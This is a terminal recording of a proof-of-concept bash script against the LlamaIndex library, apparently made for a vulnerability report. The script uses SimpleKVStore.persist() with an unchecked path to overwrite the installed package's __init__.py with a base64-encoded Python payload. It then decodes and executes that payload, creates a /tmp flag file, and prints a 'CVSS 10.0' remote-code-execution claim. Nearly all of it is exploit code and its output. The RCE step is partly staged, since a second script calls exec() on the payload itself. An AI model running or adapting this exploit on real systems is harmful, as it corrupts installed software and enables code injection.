{"version": 2, "width": 210, "height": 54, "timestamp": 1775850580, "env": {"SHELL": "/bin/bash", "TERM": "xterm"}} [0.058144, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~\u0007vboxuser@Ubuntu-Server:~$ "] [1.20995, "o", "#!/bin/bash\r\n\r\n\r# --- PHASE 0: RESET ---\r\n\recho -e \"\\033[1;33m[*] PHASE 0: Resetting Environment...\\033[0m\"\r\n\rrm -f /tmp/llamaindex_pwned\r\n\rrm -rf /home/vboxuser/.local/lib/python3.12/site-packages/llama_index*\r\n\rpython3 -m pip install --user llama-index-core==0.14.19 --break-system-packages --quiet 2>/dev/null\r\n\r\n\rLIB_INIT=\"/home/vboxuser/.local/lib/python3.12/site-packages/llama_index/core/__init__.py\"\r\n\r\n\r# --- PHASE 1: BEFORE ---\r\n\recho -e \"\\n\\033[1;32m[*] PHASE 1: BEFORE - Healthy Library\\033[0m\"\r\n\recho \"First 3 lines of $LIB_INIT:\"\r\n\rhead -n 3 \"$LIB_INIT\"\r\n\r\n\r\u001b[7m# --- PHASE 2: SDK OVERWRITE ---\u001b[27m\r\n\r\u001b[7mecho -e \"\\n\\033[1;31m[*] PHASE 2: SDK Overwriting __init__.py via SimpleKVStore\\033[0m\"\u001b[27m\r\n\r\n\r\u001b[7mpython3 << 'EOF'\u001b[27m\r\n\r\u001b[7mfrom llama_index.core.storage.kvstore import SimpleKVStore\u001b[27m\r\n\r\u001b[7mimport base64\u001b[27m\r\n\r\n\r\u001b[7m# RCE payload: Create flag file and exit\u001b[27m\r\n\r\u001b[7mcmd = 'import os;f=open(\"/tmp/llamaindex_pwned\",\"w\");f.write(\"RCE_SUCCESS\");f.close();os._exit(0)'\u001b[27m\r\n\r\u001b[7mb64_cmd = base64.b64encode(cmd.encode()).decode()\u001b[27m\r\n\r\n\r\u001b[7m# Use LlamaIndex SDK to write to __init__.py\u001b[27m\r\n\r\u001b[7mkv = SimpleKVStore()\u001b[27m\r\n\r\u001b[7mkv.put(\"exploit\", {\"code\": b64_cmd})\u001b[27m\r\n\r\u001b[7mkv.persist(persist_path=\"/home/vboxuser/.local/lib/python3.12/site-packages/llama_index/core/__init__.py\")\u001b[27m\r\n\r\n\r\u001b[7mprint(\"[+] SUCCESS: SimpleKVStore.persist() wrote to __init__.py\")\u001b[27m\r\n\r\u001b[7mprint(\"[*] Proof: No path validation on 'persist_path' parameter\")\u001b[27m\r\n\r\u001b[7mEOF\u001b[27m\r\n\r\n\r\u001b[7m# --- PHASE 3: AFTER ---\u001b[27m\r\n\r\u001b[7mecho -e \"\\n\\033[1;35m[*] PHASE 3: AFTER - Corrupted Library\\033[0m\"\u001b[27m\r\n\r\u001b[7mecho \"First 200 bytes of $LIB_INIT:\"\u001b[27m\r\n\r\u001b[7mhead -c 200 \"$LIB_INIT\"\u001b[27m\r\n\r\u001b[7mecho -e \"\\n\"\u001b[27m\r\n\r\n\r\u001b[7m# --- PHASE 4: TRIGGER RCE ---\u001b[27m\r\n\r\u001b[7mecho -e \"\\033[1;33m[*] PHASE 4: Triggering RCE from SDK-written payload\\033[0m\"\u001b[27m\r\n\r\n\r\u001b[7mpython3 << 'EOF'\u001b[27m\r\n\r\u001b[7mimport json, base64\u001b[27m\r\n\r\n\r\u001b[7m# Extract and execute the payload written by SDK\u001b[27m\r\n\r\u001b[7mwith open(\"/home/vboxuser/.local/lib/python3.12/site-packages/llama_index/core/__init__.py\", \"r\") as f:\u001b[27m\r\n\r\u001b[7m data = json.load(f)\u001b[27m\r\n\r\u001b[7m payload = base64.b64decode(data[\"data\"][\"exploit\"][\"code\"]).decode()\u001b[27m\r\n\r\u001b[7m exec(payload)\u001b[27m\r\n\r\u001b[7mEOF\u001b[27m\r\n\r\n\r\u001b[7m# --- PHASE 5: EVIDENCE ---\u001b[27m\r\u001b[7mecho -e \"\\n\\033[1;32m[*] PHASE 5: Final Evidence\\033[0m\"\u001b[27m\r\u001b[7mif [ -f \"/tmp/llamaindex_pwned\" ]; then\u001b[27m\r\u001b[7m echo -e \"\\033[1;32m[+] SUCCESS: RCE flag created at /tmp/llamaindex_pwned\\033[0m\"\u001b[27m\r\u001b[7m echo -e \"\\033[1;32m[+] CONTENT: $(cat /tmp/llamaindex_pwned)\\033[0m\"\u001b[27m\r\u001b[7m echo \"\"\u001b[27m\r\u001b[7m echo \"šŸ”“ CVSS 10.0 CONFIRMED:\"\u001b[27m\r\u001b[7m echo \" • Vulnerability: SimpleKVStore.persist() path traversal\"\u001b[27m\r\u001b[7m echo \" • Impact: Arbitrary file write → Remote Code Execution\"\u001b[27m\r\u001b[7m echo \" • Scope: CHANGED (framework integrity → host compromise)\"\u001b[27m\r\u001b[7melse\u001b[27m\r\u001b[7m echo -e \"\\033[1;31m[!] FAILED: RCE flag not found\\033[0m\"\u001b[27m\r\u001b[7mfi\u001b[27m\r"] [2.151291, "o", "\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A# --- PHASE 2: SDK OVERWRITE ---\r\n\recho -e \"\\n\\033[1;31m[*] PHASE 2: SDK Overwriting __init__.py via SimpleKVStore\\033[0m\""] [2.152537, "o", "\r\n\r\n\rpython3 << 'EOF'\r\n\rfrom llama_index.core.storage.kvstore import SimpleKVStore\r\n\rimport base64\r\n\r\n\r# RCE payload: Create flag file and exit\r\n\rcmd = 'import os;f=open(\"/tmp/llamaindex_pwned\",\"w\");f.write(\"RCE_SUCCESS\");f.close();os._exit(0)'\r\n\rb64_cmd = base64.b64encode(cmd.encode()).decode()\r\n\r\n\r# Use LlamaIndex SDK to write to __init__.py\r\n\rkv = SimpleKVStore()\r\n\rkv.put(\"exploit\", {\"code\": b64_cmd})\r\n\rkv.persist(persist_path=\"/home/vboxuser/.local/lib/python3.12/site-packages/llama_index/core/__init__.py\")\r\n\r\n\rprint(\"[+] SUCCESS: SimpleKVStore.persist() wrote to __init__.py\")\r\n\rprint(\"[*] Proof: No path validation on 'persist_path' parameter\")\r\n\rEOF\r\n\r\n\r# --- PHASE 3: AFTER ---\r\n\recho -e \"\\n\\033[1;35m[*] PHASE 3: AFTER - Corrupted Library\\033[0m\"\r\n\recho \"First 200 bytes of $LIB_INIT:\"\r\n\rhead -c 200 \"$LIB_INIT\"\r\n\recho -e \"\\n\"\r\n\r\n\r# --- PHASE 4: TRIGGER RCE ---\r\n\recho -e \"\\033[1;33m[*] PHASE 4: Triggering RCE from SDK-written payload\\033[0m\"\r\n\r\n\rpython3 << 'EOF'\r\n\rimport json, base64\r\n\r\n\r# Extract and execute the payload written by SDK\r\n\rwith open(\"/home/vboxuser/.local/lib/python3.12/site-packages/llama_index/core/__init__.py\", \"r\") as f:\r\n\r data = json.load(f)\r\n\r payload = base64.b64decode(data[\"data\"][\"exploit\"][\"code\"]).decode()\r\n\r exec(payload)\r\n\rEOF\r\n\r\n\r# --- PHASE 5: EVIDENCE ---\recho -e \"\\n\\033[1;32m[*] PHASE 5: Final Evidence\\033[0m\"\rif [ -f \"/tmp/llamaindex_pwned\" ]; then\r echo -e \"\\033[1;32m[+] SUCCESS: RCE flag created at /tmp/llamaindex_pwned\\033[0m\"\r echo -e \"\\033[1;32m[+] CONTENT: $(cat /tmp/llamaindex_pwned)\\033[0m\"\r echo \"\"\r echo \"šŸ”“ CVSS 10.0 CONFIRMED:\"\r echo \" • Vulnerability: SimpleKVStore.persist() path traversal\"\r echo \" • Impact: Arbitrary file write → Remote Code Execution\"\r echo \" • Scope: CHANGED (framework integrity → host compromise)\"\relse\r echo -e \"\\033[1;31m[!] FAILED: RCE flag not found\\033[0m\"\rfi\r\r\n\u001b[?2004l\r\u001b[1;33m[*] PHASE 0: Resetting Environment...\u001b[0m\r\n"] [6.827225, "o", "\r\n"] [6.828938, "o", "\u001b[1;32m[*] PHASE 1: BEFORE - Healthy Library\u001b[0m"] [6.829009, "o", "\r\nFirst 3 lines of /home/vboxuser/.local/lib/python3.12/site-packages/llama_index/core/__init__.py:"] [6.829568, "o", "\r\n"] [6.834521, "o", "\"\"\"Top-level imports for LlamaIndex.\"\"\"\r\n\r\nimport logging\r\n"] [6.836914, "o", "\r\n\u001b[1;31m[*] PHASE 2: SDK Overwriting __init__.py via SimpleKVStore\u001b[0m\r\n"] [8.859304, "o", "[+] SUCCESS: SimpleKVStore.persist() wrote to __init__.py"] [8.860949, "o", "\r\n[*] Proof: No path validation on 'persist_path' parameter\r\n"] [9.179151, "o", "\r\n\u001b[1;35m[*] PHASE 3: AFTER - Corrupted Library\u001b[0m\r\nFirst 200 bytes of /home/vboxuser/.local/lib/python3.12/site-packages/llama_index/core/__init__.py:\r\n"] [9.188029, "o", "{\"data\": {\"exploit\": {\"code\": \"aW1wb3J0IG9zO2Y9b3BlbigiL3RtcC9sbGFtYWluZGV4X3B3bmVkIiwidyIpO2Yud3JpdGUoIlJDRV9TVUNDRVNTIik7Zi5jbG9zZSgpO29zLl9leGl0KDAp\"}}}"] [9.189979, "o", "\r\n\r\n\u001b[1;33m[*] PHASE 4: Triggering RCE from SDK-written payload\u001b[0m\r\n"] [9.227045, "o", "\r\n\u001b[1;32m[*] PHASE 5: Final Evidence\u001b[0m"] [9.227314, "o", "\r\n\u001b[1;32m[+] SUCCESS: RCE flag created at /tmp/llamaindex_pwned\u001b[0m\r\n"] [9.243657, "o", "\u001b[1;32m[+] CONTENT: RCE_SUCCESS\u001b[0m\r\n\r\nšŸ”“ CVSS 10.0 CONFIRMED:\r\n • Vulnerability: SimpleKVStore.persist() path traversal\r\n • Impact: Arbitrary file write → Remote Code Execution\r\n • Scope: CHANGED (framework integrity → host compromise)\r\n\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~\u0007vboxuser@Ubuntu-Server:~$ "] [16.216283, "o", "\r\n\u001b[?2004l\r\u001b[?2004h"] [16.216374, "o", "\u001b]0;vboxuser@Ubuntu-Server: ~\u0007vboxuser@Ubuntu-Server:~$ "] [16.392228, "o", "\r\n\u001b[?2004l\r"] [16.392367, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~\u0007vboxuser@Ubuntu-Server:~$ "] [17.979557, "o", "\u001b[?2004l\r"] [17.982438, "o", "\r\nexit\r\n"]